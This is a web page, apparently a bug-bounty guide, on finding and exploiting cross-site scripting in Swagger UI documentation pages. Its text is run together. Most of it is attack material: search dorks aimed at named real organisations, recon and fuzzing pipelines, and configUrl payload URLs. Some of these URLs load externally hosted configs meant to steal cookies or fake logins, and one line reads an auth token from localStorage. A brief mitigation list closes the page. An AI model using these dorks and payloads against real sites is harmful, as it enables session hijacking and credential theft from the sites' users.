Loading...
Exploiting Cross-Site Scripting in Swagger UI and OpenAPI documentation interfaces. Complete guide with dorks, automation, and bypass techniques.
site:*.swagger.io -wwwintext:"Swagger UI" intitle:"Swagger UI" site:Target.comsite:nasa.gov inurl:(swagger-ui OR swagger.json OR swagger.yaml)inurl:"/swagger-ui/index.html"intitle:"Swagger UI" (inurl:"/swagger-ui/" OR inurl:"/swagger/" OR inurl:"/api-docs/" OR inurl:"/v2/api-docs" OR inurl:"/v3/api-docs" OR inurl:"swagger.json" OR inurl:"swagger.yaml") -github -gitlab -stackoverflow site:nasa.govsite:nasa.gov (inurl:api OR inurl:apis OR inurl:graphql OR inurl:swagger OR inurl:v1 OR inurl:v2 OR inurl:v3) (filetype:json OR filetype:yaml OR filetype:xml)cat swagger.txt | awk -F/ '{print $3}' | sort -ucat swagger.txt | awk -F/ '{print $3}' | sort -u | nuclei -t swagger.yamlpython dorking.py"/swagger-ui-dist\": \"3.[1-3]/\"" path:*/package.jsonrepo:ORG/REPO ("https://" OR "http://" OR ".com")host.services.endpoints.http.body:{"swagger", "swagger-ui"}web.endpoints.http.body:{"swagger", "swagger-ui"}nasa AND host.services.endpoints.http.body:{"swagger", "swagger-ui"} OR web.endpoints.http.body:{"swagger", "swagger-ui"}(nasa AND host.services.endpoints.http.body:{"swagger", "swagger-ui"} OR web.endpoints.http.body:{"swagger", "swagger-ui"}) AND host.ip:*"redacted.com" && (icon_hash="-1180440057" || icon_hash="-1128940573" || icon_hash="-1839822816" || icon_hash="1120729672")http.component:"Swagger"http.title:"Swagger UI"http.html:"swagger-ui"http.component:"Swagger" http.title:"Swagger UI" http.html:"swagger-ui"http.title:"Swagger UI" +200http.title:"Swagger UI" hostname:"getsling.com"var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/["']/g,'').trim();/^(\d{1,3}\.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+\.)[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();cat ip.txt | sort -u | nuclei -t swagger.yamlcat domains.txt | sort -u | nuclei -t swagger.yamlsubfinder -d target.com -all | httpx-toolkit -silent -title | grep "Swagger UI"cat swagger.txt | httpx-toolkit -silent -title | grep -Ei "swagger|openapi|redoc|rapidoc"echo "example.com" | httpx -path /docs,/swagger,/api-docs,/swagger-ui,/swagger-ui.htmlffuf -w /root/wordlist/api/swagger_xss.txt:FUZZ -w alive_ones.txt:URL -u URLFUZZ -mc 200 -o ffuf-result.txtdirsearch -u https://api.getsling.com -w payloads/swagger.txt -e html,json,yaml,js -t 20 --random-agent --force-recursive --full-urlhttps://github.com/coffinxp/swagger/blob/main/swagger-wordlist.txthttps://VULNERABLE_JAMF/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9zdGFuZGluZy5zaGlyb3VwL3Byb2plY3RzL3dlYmhhY2tpbmdfcGxheW5kL2hlbHBlcnMvc3dhZ2dlciJ9https://VULNERABLE_JAMF/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9yYXcuZ2l0aHViVXNlcmNvbnRlbnQuY29tL3Byb2plY3RzL3dlYmhhY2tpbmdfcGxheW5kL2hlbHBlcnMvcmVkdXJpLnB4N3UifQ==https://VULNERABLE_JAMF/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9yYXcuZ2l0aHViVXNlcmNvbnRlbnQuY29tL3Byb2plY3RzL3dlYmhhY2tpbmdfcGxheW5kL2hlbHBlcnMveHNzdGVzdC5qc29uIn0=alert(localStorage.getItem('authToken'))https://site.com/?configUrl=https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/login.jsonhttps://site.com/?configUrl=https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/rlogin.jsonhttps://site.com/?configUrl=https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/xsstest.jsonhttps://site.com/?configUrl=https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/xsscookie.json# Disable Swagger UI in production environments# Require authentication for accessing Swagger UI# Validate and sanitize query parameters like ?url=# Use the latest stable version of Swagger UI# Apply consistent input validation and escapingBulk open Swagger UIs and manually test each interface for vulnerabilities
Complete Swagger XSS testing repository with payloads and configs
Custom wordlist for fuzzing Swagger endpoints
YouTube video showing complete practical implementation of Swagger XSS method